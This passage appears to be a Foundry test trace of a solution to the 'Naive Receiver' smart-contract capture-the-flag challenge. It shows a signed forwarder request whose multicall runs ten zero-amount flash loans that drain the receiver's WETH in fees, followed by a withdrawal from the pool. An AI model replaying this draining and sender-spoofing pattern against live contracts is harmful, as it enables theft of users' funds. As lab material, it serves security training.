9036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000002307800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006400f714ce000000000000000000000000000000000000000000000036c090d0ca6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf6194600000000000000000000000000000000000000000000000000000000, deadline: 86400 [8.64e4] })) [staticcall]
    │   └─ ← [Return] 0x448a3f9e902fd8dd1a91bcf095dd9647dac6f45566882719efffe49c1dd8fdf7
    ├─ [0] VM::sign("<pk>", 0x98966e1e9df3f5206507a3621d8d596c3022186641015b3951e1b97144d72aa1) [staticcall]
    │   └─ ← [Return] 27, 0x3351cb39b71d8f78dad7c7aab44673cf376a91c50356b7a8ca45d87c14c98ff6, 0x4b10319df483a324ac03a96f87ea38701964f8e26cf6a5a637078389b947fe80
    ├─ [527949] BasicForwarder::execute(Request({ from: 0x44E97aF4418b7a17AABD8090bEA0A471a366305C, target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, value: 0, gas: 1073681376 [1.073e9], nonce: 0, data: 0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000026000000000000000000000000000000000000000000000000000000000000003600000000000000000000000000000000000000000000000000000000000000460000000000000000000000000000000000000000000000000000000000000056000000000000000000000000000000000000000000000000000000000000006600000000000000000000000000000000000000000000000000000000000000760000000000000000000000000000000000000000000000000000000000000086000000000000000000000000000000000000000000000000000000000000009600000000000000000000000000000000000000000000000000000000000000a600000000000000000000000000000000000000000000000000000000000000b6000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000002307800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006400f714ce000000000000000000000000000000000000000000000036c090d0ca6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf6194600000000000000000000000000000000000000000000000000000000, deadline: 86400 [8.64e4] }), 0x3351cb39b71d8f78dad7c7aab44673cf376a91c50356b7a8ca45d87c14c98ff64b10319df483a324ac03a96f87ea38701964f8e26cf6a5a637078389b947fe801b)
    │   ├─ [373] NaiveReceiverPool::trustedForwarder() [staticcall]
    │   │   └─ ← [Return] BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]
    │   ├─ [3000] PRECOMPILES::ecrecover(0x98966e1e9df3f5206507a3621d8d596c3022186641015b3951e1b97144d72aa1, 27, 23212472500503303283916190069849825222867664427246845595418244297757926461430, 33952075640814404360023555046328832035072183034039714461156042761591782375040) [staticcall]
    │   │   └─ ← [Return] 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c
    │   ├─ [490015] NaiveReceiverPool::multicall([0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x5cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000023078000000000000000000000000000000000000000000000000000000000000, 0x00f714ce000000000000000000000000000000000000000000000036c090d0ca6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf61946])
    │   │   ├─ [69376] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [7607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [30931] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [25102] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [10210] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
